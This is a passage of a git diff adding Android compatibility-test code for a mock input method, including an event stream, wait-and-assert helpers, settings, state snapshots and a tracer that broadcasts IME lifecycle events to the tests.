+    private final int mThreadId;
+    private final boolean mIsMainThread;
+    private final long mEnterTimestamp;
+    private final long mExitTimestamp;
+    private final long mEnterWallTime;
+    private final long mExitWallTime;
+    @NonNull
+    private final ImeState mEnterState;
+    @NonNull
+    private final ImeState mExitState;
+    @NonNull
+    private final Bundle mArguments;
+}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStream.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStream.java
new file mode 100644
index 0000000..ee17b73
--- /dev/null
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStream.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.mockime;
+
+import android.os.Bundle;
+import android.support.annotation.IntRange;
+import android.support.annotation.NonNull;
+import android.view.inputmethod.EditorInfo;
+
+import java.text.SimpleDateFormat;
+import java.util.Date;
+import java.util.Locale;
+import java.util.Optional;
+import java.util.function.Predicate;
+import java.util.function.Supplier;
+
+/**
+ * A utility class that provides basic query operations and wait primitives for a series of
+ * {@link ImeEvent} sent from the {@link MockIme}.
+ *
+ * <p>All public methods are not thread-safe.</p>
+ */
+public final class ImeEventStream {
+
+    @NonNull
+    private final Supplier<ImeEventArray> mEventSupplier;
+    private int mCurrentPosition;
+
+    ImeEventStream(@NonNull Supplier<ImeEventArray> supplier) {
+        this(supplier, 0 /* position */);
+    }
+
+    private ImeEventStream(@NonNull Supplier<ImeEventArray> supplier, int position) {
+        mEventSupplier = supplier;
+        mCurrentPosition = position;
+    }
+
+    /**
+     * Create a copy that starts from the same event position of this stream. Once a copy is created
+     * further event position change on this stream will not affect the copy.
+     *
+     * @return A new copy of this stream
+     */
+    public ImeEventStream copy() {
+        return new ImeEventStream(mEventSupplier, mCurrentPosition);
+    }
+
+    /**
+     * Advances the current event position by skipping events.
+     *
+     * @param length number of events to be skipped
+     * @throws IllegalArgumentException {@code length} is negative
+     */
+    public void skip(@IntRange(from = 0) int length) {
+        if (length < 0) {
+            throw new IllegalArgumentException("length cannot be negative: " + length);
+        }
+        mCurrentPosition += length;
+    }
+
+    /**
+     * Find the first event that matches the given condition from the current position.
+     *
+     * <p>If there is such an event, this method returns such an event without moving the current
+     * event position.</p>
+     *
+     * <p>If there is such an event, this method returns {@link Optional#empty()} without moving the
+     * current event position.</p>
+     *
+     * @param condition the event condition to be matched
+     * @return {@link Optional#empty()} if there is no such an event. Otherwise the matched event is
+     *         returned
+     */
+    @NonNull
+    public Optional<ImeEvent> findFirst(Predicate<ImeEvent> condition) {
+        final ImeEventArray latest = mEventSupplier.get();
+        int index = mCurrentPosition;
+        while (true) {
+            if (index >= latest.mLength) {
+                return Optional.empty();
+            }
+            if (condition.test(latest.mArray[index])) {
+                return Optional.of(latest.mArray[index]);
+            }
+            ++index;
+        }
+    }
+
+    /**
+     * Find the first event that matches the given condition from the current position.
+     *
+     * <p>If there is such an event, this method returns such an event and set the current event
+     * position to that event.</p>
+     *
+     * <p>If there is such an event, this method returns {@link Optional#empty()} without moving the
+     * current event position.</p>
+     *
+     * @param condition the event condition to be matched
+     * @return {@link Optional#empty()} if there is no such an event. Otherwise the matched event is
+     *         returned
+     */
+    @NonNull
+    public Optional<ImeEvent> seekToFirst(Predicate<ImeEvent> condition) {
+        final ImeEventArray latest = mEventSupplier.get();
+        while (true) {
+            if (mCurrentPosition >= latest.mLength) {
+                return Optional.empty();
+            }
+            if (condition.test(latest.mArray[mCurrentPosition])) {
+                return Optional.of(latest.mArray[mCurrentPosition]);
+            }
+            ++mCurrentPosition;
+        }
+    }
+
+    /**
+     * @return Debug info as a {@link String}.
+     */
+    public String dump() {
+        final ImeEventArray latest = mEventSupplier.get();
+        final StringBuilder sb = new StringBuilder();
+        final SimpleDateFormat dataFormat =
+                new SimpleDateFormat("yyyy-MM-dd HH:mm:ss.SSS", Locale.US);
+        sb.append("ImeEventStream:\n");
+        sb.append("  latest: array[").append(latest.mArray.length).append("] + {\n");
+        for (int i = 0; i < latest.mLength; ++i) {
+            final ImeEvent event = latest.mArray[i];
+            if (i == mCurrentPosition) {
+                sb.append("  ======== CurrentPosition ========  \n");
+            }
+            sb.append("   ").append(i).append(" :");
+            if (event != null) {
+                for (int j = 0; j < event.getNestLevel(); ++j) {
+                    sb.append(' ');
+                }
+                sb.append('{');
+                sb.append(dataFormat.format(new Date(event.getEnterWallTime())));
+                sb.append(" event=").append(event.getEventName());
+                sb.append(": args=");
+                dumpBundle(sb, event.getArguments());
+                sb.append("},\n");
+            } else {
+                sb.append("{null},\n");
+            }
+        }
+        if (mCurrentPosition >= latest.mLength) {
+            sb.append("  ======== CurrentPosition ========  \n");
+        }
+        sb.append("}\n");
+        return sb.toString();
+    }
+
+    private static final void dumpBundle(@NonNull StringBuilder sb, @NonNull Bundle bundle) {
+        sb.append('{');
+        boolean first = true;
+        for (String key : bundle.keySet()) {
+            if (first) {
+                first = false;
+            } else {
+                sb.append(' ');
+            }
+            final Object object = bundle.get(key);
+            sb.append(key);
+            sb.append('=');
+            if (object instanceof EditorInfo) {
+                final EditorInfo info = (EditorInfo) object;
+                sb.append("EditorInfo{packageName=").append(info.packageName);
+                sb.append(" fieldId=").append(info.fieldId);
+                sb.append(" hintText=").append(info.hintText);
+                sb.append(" privateImeOptions=").append(info.privateImeOptions);
+                sb.append("}");
+            } else {
+                sb.append(object);
+            }
+        }
+        sb.append('}');
+    }
+
+    final static class ImeEventArray {
+        @NonNull
+        public final ImeEvent[] mArray;
+        public final int mLength;
+        public ImeEventArray(ImeEvent[] array, int length) {
+            mArray = array;
+            mLength = length;
+        }
+    }
+}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
new file mode 100644
index 0000000..1932474
--- /dev/null
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -0,0 +1,131 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.mockime;
+
+import android.support.annotation.NonNull;
+import android.text.TextUtils;
+import android.view.inputmethod.InputBinding;
+
+import java.util.Optional;
+import java.util.concurrent.TimeoutException;
+import java.util.function.Predicate;
+
+/**
+ * A set of utility methods to avoid boilerplate code when writing end-to-end tests.
+ */
+public final class ImeEventStreamTestUtils {
+    private static final long TIME_SLICE = 50;  // msec
+
+    /**
+     * Cannot be instantiated
+     */
+    private ImeEventStreamTestUtils() {}
+
+    /**
+     * Wait until an event that matches the given {@code condition} is found in the stream.
+     *
+     * <p>When this method succeeds to find an event that matches the given {@code condition}, the
+     * stream position will be set to the next to the found object then the event found is returned.
+     * </p>
+     *
+     * @param stream {@link ImeEventStream} to be checked.
+     * @param condition the event condition to be matched
+     * @param timeout timeout in millisecond
+     * @return {@link ImeEvent} found
+     * @throws TimeoutException when the no event is matched to the given condition within
+     *                          {@code timeout}
+     */
+    @NonNull
+    public static ImeEvent expectEvent(@NonNull ImeEventStream stream,
+            @NonNull Predicate<ImeEvent> condition, long timeout) throws TimeoutException {
+        try {
+            Optional<ImeEvent> result;
+            while (true) {
+                if (timeout < 0) {
+                    throw new TimeoutException(
+                            "event not found within the timeout: " + stream.dump());
+                }
+                result = stream.seekToFirst(condition);
+                if (result.isPresent()) {
+                    break;
+                }
+                Thread.sleep(TIME_SLICE);
+                timeout -= TIME_SLICE;
+            }
+            final ImeEvent event = result.get();
+            if (event == null) {
+                throw new NullPointerException("found event is null: " + stream.dump());
+            }
+            stream.skip(1);
+            return event;
+        } catch (InterruptedException e) {
+            throw new RuntimeException("expectEvent failed: " + stream.dump(), e);
+        }
+    }
+
+    /**
+     * Assert that an event that matches the given {@code condition} will no be found in the stream
+     * within the given {@code timeout}.
+     *
+     * <p>Fails with {@link junit.framework.Assert#fail} if such an event is  found within the given
+     * {@code timeout}.</p>
+     *
+     * <p>When this method succeeds, the stream position will not change.</p>
+     *
+     * @param stream {@link ImeEventStream} to be checked.
+     * @param condition the event condition to be matched
+     * @param timeout timeout in millisecond
+     */
+    public static void notExpectEvent(@NonNull ImeEventStream stream,
+            @NonNull Predicate<ImeEvent> condition, long timeout) {
+        try {
+            while (true) {
+                if (timeout < 0) {
+                    return;
+                }
+                if (stream.findFirst(condition).isPresent()) {
+                    throw new AssertionError("notExpectEvent failed: " + stream.dump());
+                }
+                Thread.sleep(TIME_SLICE);
+                timeout -= TIME_SLICE;
+            }
+        } catch (InterruptedException e) {
+            throw new RuntimeException("notExpectEvent failed: " + stream.dump(), e);
+        }
+    }
+
+    /**
+     * A specialized version of {@link #expectEvent(ImeEventStream, Predicate, long)} to wait for
+     * {@link android.view.inputmethod.InputMethod#bindInput(InputBinding)}.
+     *
+     * @param stream {@link ImeEventStream} to be checked.
+     * @param targetProcessPid PID to be matched to {@link InputBinding#getPid()}
+     * @param timeout timeout in millisecond
+     * @throws TimeoutException when "bindInput" is not called within {@code timeout} msec
+     */
+    public static void expectBindInput(@NonNull ImeEventStream stream, int targetProcessPid,
+            long timeout) throws TimeoutException {
+        expectEvent(stream, event -> {
+            if (!TextUtils.equals("bindInput", event.getEventName())) {
+                return false;
+            }
+            final InputBinding binding = event.getArguments().getParcelable("binding");
+            return binding.getPid() == targetProcessPid;
+        }, timeout);
+    }
+
+}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
new file mode 100644
index 0000000..11327a1
--- /dev/null
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
@@ -0,0 +1,149 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.mockime;
+
+import android.os.Parcel;
+import android.os.PersistableBundle;
+import android.support.annotation.ColorInt;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+
+/**
+ * An immutable data store to control the behavior of {@link MockIme}.
+ */
+public class ImeSettings {
+
+    @NonNull
+    private final String mEventCallbackActionName;
+
+    private static final String BACKGROUND_COLOR_KEY = "BackgroundColor";
+    private static final String INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET =
+            "InputViewHeightWithoutSystemWindowInset";
+    private static final String WINDOW_FLAGS = "WindowFlags";
+    private static final String FULLSCREEN_MODE_ALLOWED = "FullscreenModeAllowed";
+    private static final String INPUT_VIEW_SYSTEM_UI_VISIBILITY = "InputViewSystemUiVisibility";
+
+    @NonNull
+    private final PersistableBundle mBundle;
+
+    ImeSettings(@NonNull Parcel parcel) {
+        mEventCallbackActionName = parcel.readString();
+        mBundle = parcel.readPersistableBundle();
+    }
+
+    @Nullable
+    String getEventCallbackActionName() {
+        return mEventCallbackActionName;
+    }
+
+    public boolean fullscreenModeAllowed(boolean defaultValue) {
+        return mBundle.getBoolean(FULLSCREEN_MODE_ALLOWED, defaultValue);
+    }
+
+    @ColorInt
+    public int getBackgroundColor(@ColorInt int defaultColor) {
+        return mBundle.getInt(BACKGROUND_COLOR_KEY, defaultColor);
+    }
+
+    public int getInputViewHeightWithoutSystemWindowInset(int defaultHeight) {
+        return mBundle.getInt(INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET, defaultHeight);
+    }
+
+    public int getWindowFlags(int defaultFlags) {
+        return mBundle.getInt(WINDOW_FLAGS, defaultFlags);
+    }
+
+    public int getInputViewSystemUiVisibility(int defaultFlags) {
+        return mBundle.getInt(INPUT_VIEW_SYSTEM_UI_VISIBILITY, defaultFlags);
+    }
+
+    static void writeToParcel(@NonNull Parcel parcel, @NonNull String eventCallbackActionName,
+            @Nullable Builder builder) {
+        parcel.writeString(eventCallbackActionName);
+        if (builder != null) {
+            parcel.writePersistableBundle(builder.mBundle);
+        } else {
+            parcel.writePersistableBundle(PersistableBundle.EMPTY);
+        }
+    }
+
+    /**
+     * The builder class for {@link ImeSettings}.
+     */
+    public static final class Builder {
+        private final PersistableBundle mBundle = new PersistableBundle();
+
+        /**
+         * Controls whether fullscreen mode is allowed or not.
+         *
+         * <p>By default, fullscreen mode is not allowed in {@link MockIme}.</p>
+         *
+         * @param allowed {@code true} if fullscreen mode is allowed
+         * @see MockIme#onEvaluateFullscreenMode()
+         */
+        public Builder setFullscreenModeAllowed(boolean allowed) {
+            mBundle.putBoolean(FULLSCREEN_MODE_ALLOWED, allowed);
+            return this;
+        }
+
+        /**
+         * Sets the background color of the {@link MockIme}.
+         * @param color background color to be used
+         */
+        public Builder setBackgroundColor(@ColorInt int color) {
+            mBundle.putInt(BACKGROUND_COLOR_KEY, color);
+            return this;
+        }
+
+        /**
+         * Sets the input view height measured from the bottom system window inset.
+         * @param height height of the soft input view. This does not include the system window
+         *               inset such as navigation bar
+         */
+        public Builder setInputViewHeightWithoutSystemWindowInset(int height) {
+            mBundle.putInt(INPUT_VIEW_HEIGHT_WITHOUT_SYSTEM_WINDOW_INSET, height);
+            return this;
+        }
+
+        /**
+         * Sets window flags to be specified to {@link android.view.Window#setFlags(int, int)} of
+         * the main {@link MockIme} window.
+         *
+         * <p>When {@link android.view.WindowManager.LayoutParams#FLAG_LAYOUT_IN_OVERSCAN} is set,
+         * {@link MockIme} tries to render the navigation bar by itself.</p>
+         *
+         * @param flags flags to be specified
+         * @see android.view.WindowManager
+         */
+        public Builder setWindowFlags(int flags) {
+            mBundle.putInt(WINDOW_FLAGS, flags);
+            return this;
+        }
+
+        /**
+         * Sets flags to be specified to {@link android.view.View#setSystemUiVisibility(int)} of
+         * the main soft input view (the returned view from {@link MockIme#onCreateInputView()}).
+         *
+         * @param visibilityFlags flags to be specified
+         * @see android.view.View
+         */
+        public Builder setInputViewSystemUiVisibility(int visibilityFlags) {
+            mBundle.putInt(INPUT_VIEW_SYSTEM_UI_VISIBILITY, visibilityFlags);
+            return this;
+        }
+    }
+}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeState.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeState.java
new file mode 100644
index 0000000..0b7fd04
--- /dev/null
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeState.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.mockime;
+
+import android.os.Bundle;
+import android.support.annotation.NonNull;
+
+/**
+ * An immutable object that stores several runtime state of {@link MockIme}.
+ */
+public final class ImeState {
+    private final boolean mHasInputBinding;
+    private final boolean mHasDummyInputConnection;
+
+    /**
+     * @return {@code true} if {@link MockIme#getCurrentInputBinding()} returned non-null
+     *         {@link android.view.inputmethod.InputBinding} when this snapshot was taken.
+     */
+    public boolean hasInputBinding() { return mHasInputBinding; }
+
+    /**
+     * @return {@code true} if {@link MockIme#getCurrentInputConnection()} returned non-dummy
+     *         {@link android.view.inputmethod.InputConnection} when this snapshot was taken.
+     */
+    public boolean hasDummyInputConnection() { return mHasDummyInputConnection; }
+
+    ImeState(boolean hasInputBinding, boolean hasDummyInputConnection) {
+        mHasInputBinding = hasInputBinding;
+        mHasDummyInputConnection = hasDummyInputConnection;
+    }
+
+    @NonNull
+    final Bundle toBundle() {
+        final Bundle bundle = new Bundle();
+        bundle.putBoolean("mHasInputBinding", mHasInputBinding);
+        bundle.putBoolean("mHasDummyInputConnection", mHasDummyInputConnection);
+        return bundle;
+    }
+
+    @NonNull
+    static ImeState fromBundle(@NonNull Bundle bundle) {
+        final boolean hasInputBinding = bundle.getBoolean("mHasInputBinding");
+        final boolean hasDummyInputConnection = bundle.getBoolean("mHasDummyInputConnection");
+        return new ImeState(hasInputBinding, hasDummyInputConnection);
+    }
+}
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
new file mode 100644
index 0000000..6ea2263
--- /dev/null
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -0,0 +1,450 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package com.android.cts.mockime;
+
+import static android.view.WindowManager.LayoutParams.FLAG_LAYOUT_IN_OVERSCAN;
+
+import static com.android.cts.mockime.MockImeSession.MOCK_IME_SETTINGS_FILE;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.inputmethodservice.InputMethodService;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.Looper;
+import android.os.Parcel;
+import android.os.Process;
+import android.os.ResultReceiver;
+import android.os.SystemClock;
+import android.support.annotation.NonNull;
+import android.support.annotation.Nullable;
+import android.util.Log;
+import android.util.TypedValue;
+import android.view.Gravity;
+import android.view.View;
+import android.view.Window;
+import android.view.WindowInsets;
+import android.view.inputmethod.EditorInfo;
+import android.view.inputmethod.InputBinding;
+import android.widget.LinearLayout;
+import android.widget.RelativeLayout;
+import android.widget.TextView;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.concurrent.atomic.AtomicReference;
+import java.util.function.BooleanSupplier;
+import java.util.function.Supplier;
+
+/**
+ * Mock IME for end-to-end tests.
+ */
+public final class MockIme extends InputMethodService {
+
+    private static final String TAG = "MockIme";
+
+    static ComponentName getComponentName(@NonNull String packageName) {
+        return new ComponentName(packageName, MockIme.class.getName());
+    }
+
+    static String getImeId(@NonNull String packageName) {
+        return new ComponentName(packageName, MockIme.class.getName()).flattenToShortString();
+    }
+
+    @Nullable
+    private ImeSettings mSettings;
+
+    private final AtomicReference<String> mImeEventActionName = new AtomicReference<>();
+
+    @Nullable
+    String getImeEventActionName() {
+        return mImeEventActionName.get();
+    }
+
+    private class MockInputMethodImpl extends InputMethodImpl {
+        @Override
+        public void showSoftInput(int flags, ResultReceiver resultReceiver) {
+            getTracer().showSoftInput(flags, resultReceiver,
+                    () -> super.showSoftInput(flags, resultReceiver));
+        }
+
+        @Override
+        public void hideSoftInput(int flags, ResultReceiver resultReceiver) {
+            getTracer().hideSoftInput(flags, resultReceiver,
+                    () -> super.hideSoftInput(flags, resultReceiver));
+        }
+
+        @Override
+        public void attachToken(IBinder token) {
+            getTracer().attachToken(token, () -> super.attachToken(token));
+        }
+
+        @Override
+        public void bindInput(InputBinding binding) {
+            getTracer().bindInput(binding, () -> super.bindInput(binding));
+        }
+
+        @Override
+        public void unbindInput() {
+            getTracer().unbindInput(() -> super.unbindInput());
+        }
+    }
+
+    @Nullable
+    private ImeSettings readSettings() {
+        try (InputStream is = openFileInput(MOCK_IME_SETTINGS_FILE)) {
+            Parcel parcel = null;
+            try {
+                parcel = Parcel.obtain();
+                final byte[] buffer = new byte[4096];
+                while (true) {
+                    final int numRead = is.read(buffer);
+                    if (numRead <= 0) {
+                        break;
+                    }
+                    parcel.unmarshall(buffer, 0, numRead);
+                }
+                parcel.setDataPosition(0);
+                return new ImeSettings(parcel);
+            } finally {
+                if (parcel != null) {
+                    parcel.recycle();
+                }
+            }
+        } catch (IOException e) {
+        }
+        return null;
+    }
+
+    @Override
+    public void onCreate() {
+        getTracer().onCreate(() -> {
+            super.onCreate();
+            mSettings = readSettings();
+            if (mSettings == null) {
+                throw new IllegalStateException("Settings file is not found. "
+                        + "Make sure MockImeSession.create() is used to launch Mock IME.");
+            }
+            mImeEventActionName.set(mSettings.getEventCallbackActionName());
+            final int windowFlags = mSettings.getWindowFlags(0);
+            if (windowFlags != 0) {
+                getWindow().getWindow().setFlags(windowFlags, windowFlags);
+            }
+        });
+    }
+
+    @Override
+    public void onConfigureWindow(Window win, boolean isFullscreen, boolean isCandidatesOnly) {
+        getTracer().onConfigureWindow(win, isFullscreen, isCandidatesOnly,
+                () -> super.onConfigureWindow(win, isFullscreen, isCandidatesOnly));
+    }
+
+    @Override
+    public boolean onEvaluateFullscreenMode() {
+        return getTracer().onEvaluateFullscreenMode(() ->
+                mSettings.fullscreenModeAllowed(false) && super.onEvaluateFullscreenMode());
+    }
+
+    private static final class KeyboardLayoutView extends LinearLayout {
+
+        @NonNull
+        final ImeSettings mSettings;
+
+        public KeyboardLayoutView(Context context, @NonNull ImeSettings imeSettings) {
+            super(context);
+
+            mSettings = imeSettings;
+
+            setOrientation(VERTICAL);
+
+            final int defaultBackgroundColor =
+                    getResources().getColor(android.R.color.holo_orange_dark, null);
+            setBackgroundColor(mSettings.getBackgroundColor(defaultBackgroundColor));
+
+            final int mainSpacerHeight = mSettings.getInputViewHeightWithoutSystemWindowInset(
+                    LayoutParams.WRAP_CONTENT);
+            {
+                final RelativeLayout layout = new RelativeLayout(getContext());
+                final TextView textView = new TextView(getContext());
+                final RelativeLayout.LayoutParams params = new RelativeLayout.LayoutParams(
+                        RelativeLayout.LayoutParams.MATCH_PARENT,
+                        RelativeLayout.LayoutParams.WRAP_CONTENT);
+                params.addRule(RelativeLayout.CENTER_IN_PARENT, RelativeLayout.TRUE);
+                textView.setLayoutParams(params);
+                textView.setTextSize(TypedValue.COMPLEX_UNIT_SP, 20);
+                textView.setGravity(Gravity.CENTER);
+                textView.setText(getImeId(getContext().getPackageName()));
+                layout.addView(textView);
+                addView(layout, LayoutParams.MATCH_PARENT, mainSpacerHeight);
+            }
+
+            final int systemUiVisibility = mSettings.getInputViewSystemUiVisibility(0);
+            if (systemUiVisibility != 0) {
+                setSystemUiVisibility(systemUiVisibility);
+            }
+        }
+
+        @Override
+        public WindowInsets onApplyWindowInsets(WindowInsets insets) {
+            final int windowFlags = mSettings.getWindowFlags(0);
+            if ((windowFlags & FLAG_LAYOUT_IN_OVERSCAN) == 0) {
+                return insets;
+            }
+
+            final int insetBottom = insets.getSystemWindowInsetBottom();
+
+            // Somehow immediately calling setPadding doesn't properly update the layout.
+            // TODO: Figure out why we have to delay this task.
+            post(() -> setPadding(0, 0, 0, insetBottom));
+
+            return insets.replaceSystemWindowInsets(
+                    insets.getSystemWindowInsetLeft(),
+                    insets.getSystemWindowInsetTop(),
+                    insets.getSystemWindowInsetRight(),
+                    0 /* bottom */);
+        }
+    }
+
+    @Override
+    public View onCreateInputView() {
+        return getTracer().onCreateInputView(() -> new KeyboardLayoutView(this, mSettings));
+    }
+
+    @Override
+    public void onStartInput(EditorInfo editorInfo, boolean restarting) {
+        getTracer().onStartInput(editorInfo, restarting,
+                () -> super.onStartInput(editorInfo, restarting));
+    }
+
+    @Override
+    public void onStartInputView(EditorInfo editorInfo, boolean restarting) {
+        getTracer().onStartInputView(editorInfo, restarting,
+                () -> super.onStartInputView(editorInfo, restarting));
+    }
+
+    @Override
+    public void onFinishInputView(boolean finishingInput) {
+        getTracer().onFinishInputView(finishingInput,
+                () -> super.onFinishInputView(finishingInput));
+    }
+
+    @Override
+    public void onFinishInput() {
+        getTracer().onFinishInput(() -> super.onFinishInput());
+    }
+
+    @Override
+    public void onDestroy() {
+        getTracer().onDestroy(() -> super.onDestroy());
+    }
+
+    @Override
+    public AbstractInputMethodImpl onCreateInputMethodInterface() {
+        return getTracer().onCreateInputMethodInterface(() -> new MockInputMethodImpl());
+    }
+
+    private final ThreadLocal<Tracer> mThreadLocalTracer = new ThreadLocal<>();
+
+    private Tracer getTracer() {
+        Tracer tracer = mThreadLocalTracer.get();
+        if (tracer == null) {
+            tracer = new Tracer(this);
+            mThreadLocalTracer.set(tracer);
+        }
+        return tracer;
+    }
+
+    @NonNull
+    private ImeState getState() {
+        final boolean hasInputBinding = getCurrentInputBinding() != null;
+        final boolean hasDummyInputConnectionConnection =
+                !hasInputBinding
+                        || getCurrentInputConnection() == getCurrentInputBinding().getConnection();
+        return new ImeState(hasInputBinding, hasDummyInputConnectionConnection);
+    }
+
+    /**
+     * Event tracing helper class for {@link MockIme}.
+     */
+    private static final class Tracer {
+
+        @NonNull
+        private final MockIme mIme;
+
+        private final int mThreadId = Process.myTid();
+
+        @NonNull
+        private final String mThreadName =
+                Thread.currentThread().getName() != null ? Thread.currentThread().getName() : "";
+
+        private final boolean mIsMainThread =
+                Looper.getMainLooper().getThread() == Thread.currentThread();
+
+        private int mNestLevel = 0;
+
+        private String mImeEventActionName;
+
+        public Tracer(@NonNull MockIme mockIme) {
+            mIme = mockIme;
+        }
+
+        private void sendEventInternal(@NonNull ImeEvent event) {
+            final Intent intent = new Intent();
+            intent.setPackage(mIme.getPackageName());
+            if (mImeEventActionName == null) {
+                mImeEventActionName = mIme.getImeEventActionName();
+            }
+            if (mImeEventActionName == null) {
+                Log.e(TAG, "Tracer cannot be used before onCreate()");
+                return;
+            }
+            intent.setAction(mImeEventActionName);
+            intent.putExtras(event.toBundle());
+            mIme.sendBroadcast(intent);
+        }
+
+        private void recordEventInternal(@NonNull String eventName, @NonNull Runnable runnable) {
+            recordEventInternal(eventName, runnable, new Bundle());
+        }
+
+        private void recordEventInternal(@NonNull String eventName, @NonNull Runnable runnable,
+                @NonNull Bundle arguments) {
+            recordEventInternal(eventName, () -> { runnable.run(); return null; }, arguments);
+        }
+
+        private boolean recordEventInternal(@NonNull String eventName,
+                @NonNull BooleanSupplier supplier) {
+            return recordEventInternal(eventName, () -> supplier.getAsBoolean(), new Bundle());
+        }
+
+        private <T> T recordEventInternal(@NonNull String eventName,
+                @NonNull Supplier<T> supplier) {
+            return recordEventInternal(eventName, supplier, new Bundle());
+        }
+
+        private <T> T recordEventInternal(@NonNull String eventName,
+                @NonNull Supplier<T> supplier, @NonNull Bundle arguments) {
+            final ImeState enterState = mIme.getState();
+            final long enterTimestamp = SystemClock.elapsedRealtimeNanos();
+            final long enterWallTime = System.currentTimeMillis();
+            final int nestLevel = mNestLevel;
+            ++mNestLevel;
+            T result;
+            try {
+                result = supplier.get();
+            } finally {
+                --mNestLevel;
+            }
+            final long exitTimestamp = SystemClock.elapsedRealtimeNanos();
+            final long exitWallTime = System.currentTimeMillis();
+            final ImeState exitState = mIme.getState();
+            sendEventInternal(new ImeEvent(eventName, nestLevel, mThreadName,
+                    mThreadId, mIsMainThread, enterTimestamp, exitTimestamp, enterWallTime,
+                    exitWallTime, enterState, exitState, arguments));
+            return result;
+        }
+
+        public void onCreate(@NonNull Runnable runnable) {
+            recordEventInternal("onCreate", runnable);
+        }
+
+        public void onConfigureWindow(Window win, boolean isFullscreen,
+                boolean isCandidatesOnly, @NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            arguments.putBoolean("isFullscreen", isFullscreen);
+            arguments.putBoolean("isCandidatesOnly", isCandidatesOnly);
+            recordEventInternal("onConfigureWindow", runnable, arguments);
+        }
+
+        public boolean onEvaluateFullscreenMode(@NonNull BooleanSupplier runnable) {
+            return recordEventInternal("onEvaluateFullscreenMode", runnable);
+        }
+
+        public View onCreateInputView(@NonNull Supplier<View> supplier) {
+            return recordEventInternal("onCreateInputView", supplier);
+        }
+
+        public void onStartInput(EditorInfo editorInfo, boolean restarting,
+                @NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            arguments.putParcelable("editorInfo", editorInfo);
+            arguments.putBoolean("restarting", restarting);
+            recordEventInternal("onStartInput", runnable, arguments);
+        }
+
+        public void onStartInputView(EditorInfo editorInfo, boolean restarting,
+                @NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            arguments.putParcelable("editorInfo", editorInfo);
+            arguments.putBoolean("restarting", restarting);
+            recordEventInternal("onStartInputView", runnable, arguments);
+        }
+
+        public void onFinishInputView(boolean finishingInput, @NonNull Runnable runnable) {
+            final Bundle arguments = new Bundle();
+            arguments.putBoolean("finishingInput", finishingInput);
+            recordEventInternal("onFinishInputView", runnable, arguments);
+        }
+
+        public void onFinishInput(@NonNull Runnable runnable) {
